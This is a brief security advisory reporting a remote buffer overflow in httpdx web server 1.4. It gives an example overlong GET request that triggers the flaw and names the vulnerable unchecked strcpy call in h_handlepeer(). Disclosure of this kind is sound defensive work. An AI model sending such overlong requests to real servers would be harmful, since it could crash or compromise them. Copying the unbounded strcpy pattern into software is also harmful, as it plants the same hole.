httpdx web server 1.4 is vulnerable to a remote buffer overflow using long GET requests such as http://www.example.com/aaa=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
The vulnerability lies in httpdx_src/http.cpp in h_handlepeer() : strcpy(index,client->filereq);

Other versions may also be vulnerable.
